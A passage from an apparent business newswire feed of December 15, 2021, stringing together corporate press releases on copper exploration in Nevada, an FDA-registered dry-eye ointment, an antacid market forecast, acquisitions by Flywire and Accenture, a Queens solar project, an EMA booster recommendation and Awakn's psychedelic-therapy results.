copper and an untested geophysical anomaly," said Mark Saxon, CEO of Aguila Copper Corp. "Recent mapping by Aguila's Exploration Manager Anders Hogrelius has located more than 100 historic workings that encountered copper whenever alluvial cover had been penetrated." Field Observations Sample sites were concentrated around the elevated area at the center of the claims, corresponding to the sparsest alluvial cover. Outwards, the increasing thickness of the alluvial cover has resulted in prospecting pits not penetrating to expose bedrock. Copper mineralization as oxides, silicates and minor amounts of sulfides were present in most of the prospecting pits in the northern and eastern sections of the claim block. All of the prospecting pits where bedrock was exposed showed varying amounts of hydrothermal alteration expressed as silicification of bedrock surrounding faults and fracture zones. Within the fractures and hydrothermal breccia pipes this alteration is expressed as secondary quartz and carbonates, fracture infillings with varying amounts of sooty amorphous iron and manganese oxides (goethite, hematite and psilomelane-pyrolusite) and clay alteration (kaolinite, chlorite) of rock fragments within the fracture zones. Adularia may also be present but cannot be differentiated from microcrystalline quartz in the field due to similar hardness and color. The mineral assemblages found during the field mapping is consistent with the minerals expected to be found within the propylitic and argillitic alteration zones around porphyry intrusions (see Figure 2). Figure 2. Schematic view of the alteration halos and expected mineral assemblages around a porphyry intrusion. To view an enhanced version of Figure 2, please visit: https://orders.newsfilecorp.com/files/7326/107661_capture.jpg Copper is most commonly found in the trenches and prospecting pits as carbonates (malachite and azurite) or silicates (chrysocolla), see Figure 3a and 3b. Copper was present as sulfides in larger amounts at one of the visited sites (LD1, see Figure 3d) on dumps next to the shaft of the old Lida Copper Mine (nr 1 shaft). These samples contained substantial amounts of copper and iron sulfides (chalcopyrite, chalcocite, pyrite) in addition to malachite and azurite. This zonation is common in arid climates with low erosion rates where meteoric water from precipitation dissolves and transports oxidized metals from near the surface to precipitate at depth as secondary minerals. This suggests secondary supergene enrichment may be present at depth below the oxidized zone. Figure 3. Samples taken from prospecting pits LD16, LD31 and LD33 show copper mineralization as carbonates (azurite - blue, malachite - green) together with sooty, black manganese oxides (psilomelane-pyrolusite), calcite and quartz. Sample LD1 from dumps next to the old Lida Mine shaft shows chalcopyrite, chalcocite, pyrite and malachite in a matrix of silicified sedimentary rock with secondary calcite. To view an enhanced version of Figure 3, please visit: https://orders.newsfilecorp.com/files/7326/107661_cdd1c2f2d437f9fc_006full.jpg Technical Background Information collected during the field mapping and sampling program has been collected in accordance with current industry standards and best practices. All samples have been handled with an unbroken chain of custody as required by National Instrument 43-101. Any references to the terms "ore minerals", "mineralization" or "mineralized zones" are purely for descriptive purposes and are not intended to be interpreted as, or relied upon for any resource or economic evaluation of the project at this time. The Company has obtained historic exploration data for this press release from the Nevada Bureau of Mines and Geology and other public archives. Although historic exploration data was generated by reputable companies applying practice of the day, Aguila cannot verify the data or determine the quality assurance and quality control measures applied in generating the data. Furthermore, there is no guarantee that the exploration history is fully captured. Additional drilling may have been undertaken, however the Company has not been made aware of or obtained additional data. Accordingly, the Company cautions that the exploration data reported in this news release may not be reliable. Readers are cautioned that a "qualified person" as defined by National Instrument 43-101 has not completed sufficient work to be able to verify the historical information, and therefore the information should not be relied upon. About Aguila Copper Corp (TSXV: AGL) (OTCQB: AGLAF) (WKN: A2DR6E) Aguila Copper Corp is an emerging copper and precious metal company enhancing shareholder value through exploration and discovery. ON BEHALF OF THE BOARD, "Mark Saxon" Mark Saxon President & CEO For further information, please contact: aguilacopper.com 1305 - 1090 West Georgia St., Vancouver, BC, V6E 3V7 info@aguilacopper.com Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Cautionary Note Regarding Forward-Looking Statements Certain information set out in this news release constitutes forward-looking information. Forward-looking statements are often, but not always, identified by the use of words such as "seek", "anticipate", "plan", "continue", "estimate", "expect", "may", "will", "intend", "could", "might", "should", "believe" and similar expressions. Forward-looking statements are based upon the opinions and expectations of management of the Company as at the effective date of such statements and, in certain cases, information provided or disseminated by third parties. Forward-looking statements in this news release include statements regarding the closing of the transactions contemplated in the Option Agreement, the exercise of the option and the Exchange approval of the Option Agreement. Although the Company believes that the expectations reflected in such forward-looking statements are based upon reasonable assumptions, and that information obtained from third party sources is reliable, they can give no assurance that those expectations will prove to have been correct. Readers are cautioned not to place undue reliance on forward-looking statements. These forward-looking statements are subject to a number of risks and uncertainties. Actual results may differ materially from results contemplated by the forward-looking statements. Accordingly, the actual events may differ materially from those projected in the forward-looking statements. Such risks include the ability of the Company to complete all payments, share issuances and expenditures required under the Option Agreement, the Exchange approval to the Option Agreement and uncertainties relating to exploration activities. When relying on forward-looking statements to make decisions, investors and others should carefully consider the foregoing factors and other uncertainties and should not place undue reliance on such forward-looking statements. The Company does not undertake to update any forward-looking statements, except as may be required by applicable securities laws. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107661 Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. MILAN, Dec. 15, 2021 /PRNewswire/ -- NTC Srl, R&D driven pharmaceutical company with headquarters in Italy, and I-MED Pharma Inc., a Canadian company specializing in dry eye diagnosis and management, announced today that I-DEFENSE, a long-lasting, lubricating ointment containing 0.4% sodium hyaluronate indicated for the relief of dry eyes and lagophthalmos symptoms has been successfully registered with the U.S.A. Food and Drug Administration ("FDA"). It is the first European NTC medical device product for ophthalmic use approved in the U.S.A. NTC and I-MED Pharma's successful collaboration to bring this innovative ophthalmic ointment first to Canada and now to the U.S.A. is a testament to the dedication of both companies to advancing the science of dry eye. I-DEFENSE is now one of many products in the I-MED Pharma dry eye portfolio that has been successfully registered with the FDA, with more to follow suit in the near future. The viscous properties of this product enable a prolonged contact-time with the ocular surface. This hydrating ointment provides soothing relief of dry eye symptoms and acts as a barrier against moisture loss. "We are proud of our strategic partnership with a leading ophthalmic company such as I-Med Pharma in North America," Riccardo Carbucicchio, President and CEO of NTC, states. "We started our cooperation in Canada, and now we are excited that one of our innovative products for eye diseases will now become available to many patients in the U.S.A." he adds. Philipp Binder, President and Chief Operations Officer of I-MED Pharma commented, "We are excited about our collaboration with NTC to bring a leading HA-based ophthalmic ointment to the United States market. Both I-MED Pharma and NTC are equally committed to research and development within the ophthalmic space. We look forward to making this innovative dry eye ointment available exclusively through eye care professionals within the USA to help execute on our mission to bring complete relief to dry eye and ocular surface disease patients worldwide." About NTC NTC is a pharmaceutical company headquartered in Milan - Italy, with distributors and partners in over 100 countries in the world, engaged in research, development, registration and commercialization of drugs, medical devices, and food supplements in ophthalmology, but also in other therapeutic areas like gastro-metabolism, gynecology, and pediatrics. NTC offers to its partners, currently nearly 250 companies, innovative pharmaceutical products with high quality standards. For more information, please visit www.ntcpharma.com About I-MED Pharma I-MED Pharma Inc. is a privately held Canadian company, headquartered in Montreal, Quebec. As a research-based firm with the vision to be the most important dry eye and ocular surface disease company in the world, I-MED Pharma provides innovative OSD solutions to the global optometry and ophthalmology community. Through the years, I-MED Pharma has continuously invested heavily in R&D and has created unique and effective products for the management of dry eye disease. A pioneer in the field of artificial tears and ocular hygiene cleansers, I-MED Pharma's signature product lines include I-DROP and I-LID 'N LASH, which are sold around the world. I-MED Pharma offers a complete range of ocular surface disorder products, including diagnostic tools, artificial tears , dry eye ointment , ocular hygiene cleansers , punctum plugs , nutritional supplements , therapeutic accessories , as well as the E>Eye IRPL , a long-lasting solution designed specifically for the treatment of dry eyes due to Meibomian Gland Dysfunction. For more information, please email marketing@imedpharma.com or visit imedpharma.com. The Antacid Market Size is driven by increasing prevalence of gastroesophageal reflux disease (GERD), rising prevalence of obesity, rising prevalence of healthcare-associated infections and increasing emphasis on food safety. The tablet segment accounted for more than 59.57% of the market share in 2019 and anticipated to register the highest CAGR in the market during 2020-2027. NEW YORK, Dec. 15, 2021 /PRNewswire/ -- According to the new market research report " Antacid Market Forecast to 2027 - COVID-19 Impact and Global Analysis By Dosage Form (Tablet, Liquid, Others); Drug Class (Proton pump inhibitors, H2 Antagonist, Acid neutralizers); Distribution Channel (Hospital pharmacy, Retail pharmacy, Online pharmacy) and Geography", published by The Insight Partners, the global antacid market is expected to reach US$ 11,666.83 million in 2027 from US$ 8,547.97 million in 2019. The market is estimated to grow with a CAGR of 4.0% from 2020-2027. Get the Latest COVID-19 Analysis on antacid market at https://www.theinsightpartners.com/covid-analysis-sample/TIPRE00016359 Antacid Market: Competition Landscape and Key Developments Sanofi, GlaxoSmithKline plc, Bayer AG, Takeda Pharmaceutical Company Limited, Sun Pharmaceuticals Ltd, Boehringer Ingelheim International Gmbh, Dr. Reddy's Laboratories Ltd., Pfizer, Inc, Reckitt Benckiser Group Plc., and Procter And Gamble are among the key companies operating in the antacid market. These players are focusing on the expansion and diversification of their market presence and the acquisition of a new customer base, thereby tapping prevailing business opportunities. In August 2020 , Takeda Pharmaceutical Company Limited declared that it has entered into an agreement to divest Takeda Consumer Healthcare Company Limited, a wholly-owned subsidiary of Takeda that operates in the consumer health care market primarily in Japan , to Oscar A-Co KK. This company is funded and managed by The Blackstone Group Inc.. , Takeda Pharmaceutical Company Limited declared that it has entered into an agreement to divest Takeda Consumer Healthcare Company Limited, a wholly-owned subsidiary of Takeda that operates in the consumer health care market primarily in , to Oscar A-Co KK. This company is funded and managed by The Blackstone Group Inc.. In July 2016 , Takeda Pharmaceutical Company Limited received FDA Approval for its antacid product Dexilant. It contains API dexlansoprazole. The product was approved for patients of age group of 12-17 Years. , Takeda Pharmaceutical Company Limited received FDA Approval for its antacid product Dexilant. It contains API dexlansoprazole. The product was approved for patients of age group of 12-17 Years. In December 2018 , GSK and Pfizer entered a joint venture for consumer healthcare businesses. This transaction created a new world-leading Consumer Healthcare. This transaction is expected to close within three years of the closing of the transaction. This venture is expected to help the companies to lead the product categories in the respective markets. The types include Pain Relief, Respiratory, Vitamin and Mineral Supplements, Digestive Health, Skin Health, and Therapeutic Oral Health. The North American region holds the largest market share of the market, whereas the Asia Pacific region is the fastest-growing region. The antacid market in North America is expected to grow due to the increasing incidence of GERD due to change in lifestyle, government support for prevention and treatment of gastrointestinal diseases, presence of well-developed healthcare infrastructure, growing pharmaceutical industry, reimbursement coverage and industry giants are some of the prominent factors propelling the market growth in North America. In US, growing prevalence of gastrointestinal diseases is likely to demand antacid drugs. Get Exclusive Sample Pages of Antacid Market Size - COVID-19 Impact and Global Analysis with Strategic Insights at https://www.theinsightpartners.com/sample/TIPRE00016359/ As per the National Institute of Diabetes and Digestive and Kidney Diseases 2014 report, around 15 to 30% of the US population has GERD. Similarly, according to the National Health Interview Survey, 2018, about 14.8 million people in the US were diagnosed with ulcers. Furthermore, the National Ambulatory Medical Care Survey: 2016 reported that around 22.4 million number of visited physicians office for digestive diseases and about 8.3 million emergency department visits were for digestive diseases. Also, product launches in the US is likely to favor the growth of the market. For instance, in October 2020, Dr. Reddy's Laboratories Ltd. launched the over-the-counter (OTC) Famotidine Tablets USP, 10 mg and 20 mg in the US market. These tablets are acid reducers that prevent and relieve heartburn associated with acid indigestion and sour stomach. The Asia Pacific region is expected to be the fastest-growing region among all other regions. Increasing focus of market players on this region, and introduction of new products or therapies in the country. Moreover, rising prevalence of the gastrointestinal diseases, increase in healthcare spending and availability of advanced technology helps to boost the growth of antacid market in the region. Rise in Prevalence of Gastroesophageal Reflux Disesae in Antacid Market: Gastroesophageal reflux disease (GERD), a digestive disorder that affects the ring of muscle between esophagus and stomach, is a chronic and highly prevalent disorder. As per the report 'Update on the epidemiology of gastro-esophageal reflux disease: a systematic review' published in 2014, the prevalence of GERD is 18.1-27.8% in North America, 2.5-7.8% in East Asia, 8.8-25.9% in Europe, 8.7-33.1% in the Middle East, 11.6% in Australia, and 23.0% in South America. Furthermore, the National GI Survey was conducted and completed in 2015 and was the first major attempt to measure the prevalence of GERD in the US since 2005. As per the survey, 18% of the 71,000 people reported episodes of GERD twice a week and 31% reported GERD episodes once a week. The survey also reported that 35% of these patients used medications to control the condition and 55% of these used proton-pump inhibitors as their medication therapy. Additionally, the survey reported that the condition is more prevalent in women than in men. Thus, the factors mentioned above are driving the adoption of antacids during the forecast period. Download Sample PDF Brochure of Antacid Market Size and Growth Research Report at https://www.theinsightpartners.com/sample/TIPRE00016359/ Antacid Market: Segmental Overview Based on dosage form, is segmented into tablet, liquid, and others. The tablet segment accounted for more than 59.57% of the market share in 2019. In terms of drug class, is segmented into proton pump inhibitors, H2 antagonist, acid neutralizers. The proton pump inhibitors segment held the largest share of the market in 2019. In terms of distribution channel, the antacid market is segmented into hospital pharmacy, retail pharmacy, and online pharmacy. The retail pharmacy segment held the largest share of the market in 2019. The COVID-19 outbreak has disturbed various trades and businesses across the world. Several measures are being taken to treat the disease and prevent the transmission; however, the excessive number of COVID-19 cases has resulted in the doctor's appointment cancellation. With COVID-19 continuing to spread worldwide, researchers are looking into numerous options for possible treatment, including existing options such as OTC products for common diseases. COVID-19 affected sales of the essential OTC drugs such as antacids. The companies are preferring non-physical marketing campaigns and shifting sales processes online. To support the nonprescription drug sale, For instance, in March 2020, American President signed into law the Coronavirus Aid Relief and Economic Security (CARES) Act (HR 748). This landmark legislation provides financial relief for workers, healthcare professionals, and small businesses affected by the coronavirus. Under the law, first, consumers will immediately benefit from purchasing OTCs with pre-tax Health Savings Accounts (HSA) and Flexible Spending Accounts (FSA). OTC drugs, including nonprescription medications such as antacids, can again be purchased using tax-preferred funds by the nearly 60 million Americans enrolled in FSAs and HSAs. Moreover, the exports and imports of the pharmaceutical products is returning to its original momentum. Thus, the availability of the products in the region is improving. Therefore, the growth is likely to boost the development of the antacids market. Buy Premium Copy of Antacid Market Size, Share, Revenue, Strategic Insights and Forecasts 2020-2027 Research Report at https://www.theinsightpartners.com/buy/TIPRE00016359/ About Us: The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We specialize in industries such as Semiconductor and Electronics, Aerospace and Defense, Automotive and Transportation, Biotechnology, Healthcare IT, Manufacturing and Construction, Medical Device, Technology, Media and Telecommunications, Chemicals and Materials. Contact Us: If you have any queries about this report or if you would like further information, please contact us: Contact Person: Sameer Joshi E-mail: sales@theinsightpartners.com Phone: +1-646-491-9876 Press Release: https://www.theinsightpartners.com/pr/antacid-market More Research: https://www.openpr.com/news/archive/139407/The-Insight-Partners.html Logo: https://mma.prnewswire.com/media/1586348/The_Insight_Partners_Logo.jpg LONDON, Dec. 15, 2021 /PRNewswire/ -- Global IP transactions & advisory group, ICEBERG IP Group, has been honoured with a 2021 Queen's Award for Enterprise in the category of International Trade. The company, which has offices in London, was launched in 2002 and is involved in patent sales, acquisitions, licensing and venturing. It is the only global IP transactions company to ever win the prestigious Queen's Award for Enterprise. ICEBERG IP Group is just one of a select few to be recognised with a prestigious Queen's Award for Enterprise for their contribution to International Trade. Employing teams globally, ICEBERG IP Group was founded by entrepreneur, Patrick Snow. He is an undisputed industry leader and pioneer. Under his expert leadership, he has guided the organisation in becoming one of the world's most successful firms in the IP space with its 200 clients including Fortune 500 companies, governments, financial organisations, R&D institutes and universities. It has completed more than 1000 transactions in 21 countries, generated $1 billion of sales offers and transacted more than 16,000 patents. The Queen's Awards for Enterprise, now in its 55th year, is the most influential business award in the UK and celebrates the success of exciting and innovative businesses that are leading the way with pioneering products or services, delivering impressive social mobility programmes or showing their commitment to excellent sustainable development practices. "We are delighted to share such an extraordinary accomplishment with the giants of British industry and are thrilled to have won this award," explains Executive Chairman, Patrick Snow. "In particular, as the only company in our industry to have achieved such an accolade, it is very special. I started this company nearly 20 years ago and, today, we are global leaders. It's incredible just how far we have come and is testament to the skills and expertise of ICEBERG IP Group's hard-working team across the world. I would like to thank all staff members; it's a wonderful accomplishment for all the team!" The award was presented by Kevin Traverse-Healy DL, Deputy Lieutenant of Greater London, at the group's headquarters in Mayfair, Central London. "I am delighted to join Patrick and, through him the whole of Iceberg IP Group, in celebrating your Queen's Award for Enterprise - a distinction you have won for your outstanding contribution to International Trade - and to present you with the Award on behalf of Her Majesty The Queen," says the Deputy Lieutenant of Greater London. "And so, in recognition of your outstanding performance in the vital area of International Trade, The Queen has been graciously pleased to grant Her Award to Iceberg IP Group." Notes to Editors: Patrick Snow founded ICEBERG IP Group in 2002. It is an award-winning, industry-leading global IP transactions & advisory group based in London. It empowers its clients to maximise the underlying value of their intellectual property portfolio by representing their interests to generate value from their patent portfolios and broader IP strategies. As an intermediary and advisor, ICEBERG IP Group provides services from IP acquisitions, sales and licensing, to strategic advisory, M&A, analytics, identifying key assets and closing the deal. The company has a truly international reach successfully closing hundreds of portfolio transactions and investments across the US, Europe and Asia, in such sectors as telecoms, internet and computing, auto, consumer electronics, banking and fintech. The organisation and its founder have won countless awards, including the 2019 European Business Awards and the 2018 CEO Today Europe Awards.Patrick Snow has received the IAM Strategy 300: 'The World's Leading IP Strategists' award for the last 12 years in succession and recently featured in the 2021 IAM Strategy 300 Global Leaders, which showcases the world's leading IP experts across North America, Europe and Asia. ICEBERG IP Group www.icebergip.com Photo - https://mma.prnewswire.com/media/1710369/Iceberg_IP_Group_Patrick_Snow.jpg The addition of WPM expected to bolster Flywire's product suite and deliver substantial value to clients Acquisition extends Flywire's customer base and accelerates penetration in U.K. education sector Flywire plans to continue to invest in providing best-of-breed client support and leverage WPM's value-added services, such as strategic consulting, research, and events BOSTON and WEST SUSSEX, United Kingdom, Dec. 15, 2021, a leading software provider that enables seamless and secure payment experiences for universities and colleges across the United Kingdom. The acquisition will build on Flywire's existing education payments business to scale its global customer base and is expected to further accelerate its market share in the U.K. education sector. Flywire estimates payment volume in the U.K. education sector to be approximately $30 billion. Flywire will augment its existing capabilities with the addition of WPM's industry-leading software solutions. Additionally, the integration of WPM with Flywire is expected to deliver even greater value to clients through Flywire's next-gen payments platform, proprietary global payment network and industry-specific software across the combined U.K. client base of education institutions and their customers. "As a core pillar of our strategy, we continue to look for investment opportunities that supplement our strong organic growth and align with our belief that software drives value in payments," said Mike Massaro, Flywire CEO. "WPM's strong client centric approach is a perfect fit with Flywire and will allow us to accelerate our expansion in the U.K. higher education market." Teaming up to accelerate expansion and client satisfaction in U.K. education The economic impact of the higher education industry in the U.K. is significant, and it remains one of the most popular markets for international students. According to a 2021 study from London Economics, international students alone contribute approximately 28.8 billion to the U.K. economy. According to ICEF , the number of international students studying in the U.K. reached a record high in the 2019-2020 academic year, which includes the first five months of the COVID-19 pandemic; the study reported a year-over-year increase of 12.5%. Founded in 2000 by seasoned technologists Holger Bollmann and Jan Bollmann, WPM is one of the leading software and payments solutions in the U.K. higher education sector. WPM delivers an innovative platform to institutions and an improved payment experience to their millions of payers. In addition to its leading payments software, WPM also provides value-added services to the higher education industry, including strategic consulting, industry research and events, each of which underpin its offerings. Deeply penetrated in the U.K. market, WPM integrates with more than 130 university systems and powers more than 170 university and college clients, including some of the most prestigious universities and colleges in the U.K. "Our focus in building WPM was always to deliver amazing and secure payments experiences for our clients through our software, research, events and consultancy," said Holger Bollmann, WPM Director and Co-Founder. "Flywire has been an innovator and leader in software and payments across many major sectors of the global economy, including education, and I'm thrilled to be joining the Flywire team along with all of the WPM team to continue to deliver great value for our clients." Combination of software and payments continues to lead industry digitization Despite the impacts of the COVID-19 pandemic, the demand for global education remains strong and the need for a streamlined, digital-first payment experience continues to transform how higher education institutions engage with their payers. According to a recent survey of finance professionals at higher education universities, more than 80% state that payment options tailored to individual student needs are attractive alternatives to traditional, one-time payments. Likewise, in an independent survey by Flywire, 77% of international students stated that a simplified payment experience would improve their higher education experience. Global payments in education represents one of the largest market opportunities for Flywire. Flywire estimates its addressable market in global education is approximately $660 billion in payment volume. This acquisition reinforces Flywire's focus on digitizing high stakes, high value payments in large underserved markets and its ability to deliver value to its clients through the Flywire Advantage, which is the combination of its next-gen payment platform, proprietary global payments network and vertical specific software. Additional Strategic and Financial Benefits Comprehensive solution combines software and payments: Combining WPM's software system with Flywire's payment platform will deliver institutions an industry-defining, integrated and secure offering. Strength in key geographic end-market: Since entering the U.K. market in 2015, Flywire has seen strong adoption of its digital payments solutions due to market demand. The acquisition of WPM, including the opportunity to provide services to its more than 170 current clients, serves to fortify a key geographic end-market, especially given WPM's reputation and position in the industry. Complements strong organic growth: The acquisition of WPM is a continuation of Flywire's long-term plan to supplement its strong organic growth and continually expand across all business lines. The acquisition is expected to be accretive to revenue and growth in 2022 and will be factored into future company guidance. About Flywire Flywire is a global payments enablement and software company. We combine our proprietary global payments network, next-gen payments platform and vertical-specific software to deliver the most important and complex payments for our clients and their customers. Flywire leverages its vertical-specific software and payments technology to deeply embed within the existing A/R workflows for its clients across the education, healthcare and travel vertical markets, as well as in key B2B industries. Flywire also integrates with leading ERP systems, such as NetSuite, so organizations can optimize the payment experience for their customers while eliminating operational challenges. Flywire supports more than 2,500 clients with diverse payment methods in more than 140 currencies across more than 240 countries and territories around the world. The company is headquartered in Boston, MA, USA with global offices. For more information, visit www.flywire.com . Follow Flywire on Twitter , LinkedIn and Facebook . Safe Harbor Statement This release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995, including, but not limited to, statements regarding the integration and financial impact of the WPM acquisition, the level of achievement of anticipated operating synergies from such acquisition, our future operating results and financial position, our business strategy and plans, market growth and trends, and our objectives for future operations. Flywire intends such forward-looking statements to be covered by the safe harbor provisions for forward-looking statements contained in Section 21E of the Securities Exchange Act of 1934 and the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by terms such as, but not limited to, "believe," "may," "will," "potentially," "estimate," "continue," "anticipate," "intend," "could," "would," "project," "target," "plan," "expect," or the negative of these terms, and similar expressions intended to identify forward-looking statements. Such forward-looking statements are based upon current expectations that involve risks, changes in circumstances, assumptions, and uncertainties. Important factors that could cause actual results to differ materially from those reflected in Flywire's forward-looking statements include, among others, Flywire's future financial performance, including its expectations regarding our revenue, cost and operating expenses, including changes in technology and development, selling and marketing and general and administrative expenses. Media Contacts Sarah King Sarah.King@Flywire.com Prosek Partners pro-flywire@prosek.com Investor Relations Contacts flywireir@icrinc.com New Canopies have been approved by NYC Department of Buildings for Compliance with Zoning and Construction All Faiths Cemetery Solar Project Clears First Phase Towards Completion Of A 3.3 Mega Watt Solar Facility in Middle Village, Queens NY. All Faiths Cemetery Is Evaluating 2 Back Of House Areas: Area1: The Greenhouse Maintenance 52,000 Sq Ft; Area2: The Dumping Ground 120,000 Sq Ft NEW YORK, NY / ACCESSWIRE / December 15, 2021 / Green Stream Holdings Inc. (OTC PINK:GSFI) ("the Company") (greensolarutility.com), an emerging leader in the solar utility and finance space, today announced that its All Faiths Cemetery Solar Facility Project has been approved by The New York City (NYC) Department of Buildings for compliance with all applicable zoning and construction regulations. Solar Panels (photo credit greensolarutility.com) The multi-million dollar deal is being financed by Green Stream Holdings, Inc. to cover equipment and installation costs. CEO James DiPrima said: "The All Faiths Cemetery Project has cleared first phase towards completion of a 3.3 Mega Watt Solar Facility in All Faiths Cemetery, Middle Village Queens NY. We are evaluating 2 back of house areas: Area1. The greenhouse maintenance area covering 52,000 sq ft; and Area2 the Dumping Ground, covering 120,000 sq ft." The system, which will be approximately 14 ft above grade, will allow for cemetery operations to coexist. It will provide renewable energy via the NYS Community Solar Program. An additional approval by the New York State Board of Directors is required upon which a Con Edison Interconnect Agreement will be applied for. All Faiths Cemetery is in process of finalizing a lease Agreement, which will provide funds to maintain the Cemetery. According to our current plans, we project to have completed the facility by Sept 1, 2022. This is wonderful news for shareholders and partners. The Company previously entered into a contract with Amergy Solar Inc. to provide funds to cover Equipment and Installation Costs for the 7,400kw ground mounted Solar Photovoltaic System Installation for a Solar Farm at 4777 Dewey Ave, Greece, NY 14612. About Green Stream Finance, Inc.: Green Stream Finance, Inc., a solar utility and finance company with satellite offices in Malibu, CA and New York, NY, is focused on efficiently developing supplemental utilities in unmet markets using solar energy, and is currently licensed in California, Nevada, Arizona, Washington, New York, New Jersey, Massachusetts, New Mexico, Colorado, Hawaii, and Canada. The Company's next-generation solar greenhouses constructed and managed by Green Rain Solar, LLC, a Nevada-based division, utilize proprietary greenhouse technology and trademarked design developed by world-renowned architect Mr. Anthony Morali. The Company is currently targeting high-growth solar market segments for its advanced solar greenhouse and advanced solar battery products. The Company has a growing footprint in the significantly underserved solar market in New York City and New York State. It is targeting 1,000,000 square feet of rooftop space for solar panel installation, open areas for solar canopies, solar farms, etc. Green Stream is looking to forge key partnership with major investment groups, brokers, and private investors in order to capitalize on a variety of unique investment opportunities in the commercial solar energy markets. The Company is dedicated to becoming a major player in this critical space. Through its innovative solar product offerings and industry partnerships, the Company is well-positioned to become a significant player in the solar space. Forward-Looking Statements: This press release contains forward-looking information within the meaning of section 27A of the Securities Act of 1933 and section 21E of the Securities Exchange Act of 1934 and is subject to the safe harbor created by those sections. This material contains statements about expected future events and/or financial results that are forward-looking in nature and subject to risks and uncertainties. That includes the possibility that the business outlined in this press release cannot be concluded for some reason. That could be as a result of technical, installation, permitting or other problems that were not anticipated. Such forward-looking statements by definition involve risks, uncertainties and other factors, which may cause the actual results, performance or achievements of Green Stream Finance, Inc. to be materially different from the statements made herein. Except for any obligation under the U.S. federal securities laws, Green Stream Finance, Inc. undertakes no obligation to publicly update any forward-looking statement as a result of new information, future events or otherwise. For All Inquiries Contact: +1 (424) 280-4096 president@greenstreamfinance.com Website: greensolarutility.com Phone number: (646) 669-7007 SOURCE: Green Stream Holdings Inc. View source version on accesswire.com:https://www.accesswire.com/677715/Green-Stream-Holdings-Inc-Announces-Its-Innovative-Solar-Canopy-Designed-By-Morali-Architects-and-Amergy-Solar-Inc-and-Financed-By-Green-Stream-Holdings NEW BRUNSWICK (dpa-AFX) - European Medicines Agency or EMA, on Wednesday, recommended that a booster dose of Covid-19 Vaccine Janssen, developed by Janssen Pharmaceuticals, an arm of Johnson & Johnson (JNJ), may be considered at least 60 days after the first dose in individuals aged 18 years and above. EMA's move follows the latest figures which showed a rise in the presence of antibodies against SARS-CoV-2 in adults who have received a booster dose of Covid-19 Vaccine Janssen shot at least eight-week period after the first dose. However, the risk of thrombosis in combination with thrombocytopenia (TTS) or other very rare side effects after a booster is not known and is being carefully monitored, EMA said in a statement. The agency also added that a booster dose with Covid-19 Vaccine Janssen may be given after two doses of one of the mRNA vaccines authorized in the EU- Comirnaty from Pfizer/BioNTech or Spikevax from Moderna. Copyright RTT News/dpa-AFX JOHNSON & JOHNSON-Aktie komplett kostenlos handeln - auf Smartbroker.de PARIS (dpa-AFX) - Professional services company Accenture Plc (ACN) announced Wednesday its intent to acquire AFD.TECH, an independent network services company specializing in network engineering, operations and business services. Financial terms of the transaction are not being disclosed. Founded in 1998, AFD.TECH serves leading telecom brands and clients across various other industries, including energy, industrial, infrastructure and life sciences sectors. The company is based in France with additional offices in Belgium and Morocco. The acquisition of AFD.TECH would strengthen Accenture's network operations capabilities in Europe and follows Accenture's acquisition of Arca last November and of umlaut in October 2021. AFD.TECH's network operations and IT capabilities, as well as its deep industry knowledge, would complement Accenture's cloud, edge computing, security, and network capabilities to help clients shape, build and operate cloud-first networks. This acquisition would add more than 1,600 highly skilled professionals to Accenture globally, along with multidisciplinary capabilities across engineering, design, deployment, and operation of next generation networks, such as 5G and fiber. The newly acquired expertise when combined with Accenture's Cloud First capabilities would provide a broad spectrum of proven practices, operational excellence and human ingenuity to help clients drive comprehensive transformation across their disparate networks. The acquisition requires prior consultation with the relevant works councils and would be subject to customary closing conditions. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Toronto, Ontario--(Newsfile Corp. - December 15, 2021) - Awakn Life Sciences Corp. (NEO: AWKN) (OTCQB: AWKNF) (FSE: 954) ('Awakn'), a biotechnology company developing and delivering psychedelic therapeutics (medicines and therapies) to treat addiction, today is reporting its financial results and business highlights for the three and nine months ended October 31, 2021. All results are reported under International Financial Reporting Standards ("IFRS") and in Canadian dollars, unless otherwise specified. Anthony Tennyson, Chief Executive Officer of Awakn Life Sciences, stated, "Since going public in the summer of 2021, we have made significant progress on the development and delivery of effective psychedelic-based therapeutics to better treat addiction. A key driver of our success is the world-class team we have with leading experts in the fields of drug development, clinical research, psychiatry, psychotherapy and neurochemistry. Heading into the new year we have several meaningful upcoming catalysts including our Phase II A/B study to be published in the American Journal of Psychiatry." Business and Operational Updates: Identified new chemical series via our drug discovery program, discovering novel entactogen-like NCEs. Four leading series have been selected to be taken into in vivo efficacy analysis. The data generated will be used to support patent applications and to facilitate the development of additional lead compounds for clinical development. Signed a Memorandum of Understanding ("MOU") with NHS (Devon Partnership NHS Trust) and University of Exeter ("UOE") with a view of increasing access to psychedelic-assisted psychotherapy within the UK National Health Service (NHS). Acquired exclusive rights to MDMA research from Imperial College London. The MDMA research, data from the Phase IIa Bristol Imperial MDMA in Alcoholism Study (BIMA), is an open-label safety, tolerability and proof-of-concept study to investigate the role of MDMA-Assisted Psychotherapy in treating patients with alcohol use disorder (AUD), which resulted in a relapse rate of only 21%, 9 months post treatment. Received the Care Quality Commission's (CQC) formal approval for Awakn's Bristol clinic to begin treatments. Awakn Clinics Bristol is one of three Awakn clinics, with Awakn Oslo AS (Norway) already providing treatments and London (UK) expecting to become operational in early 2022. Treatments at the clinic are led by 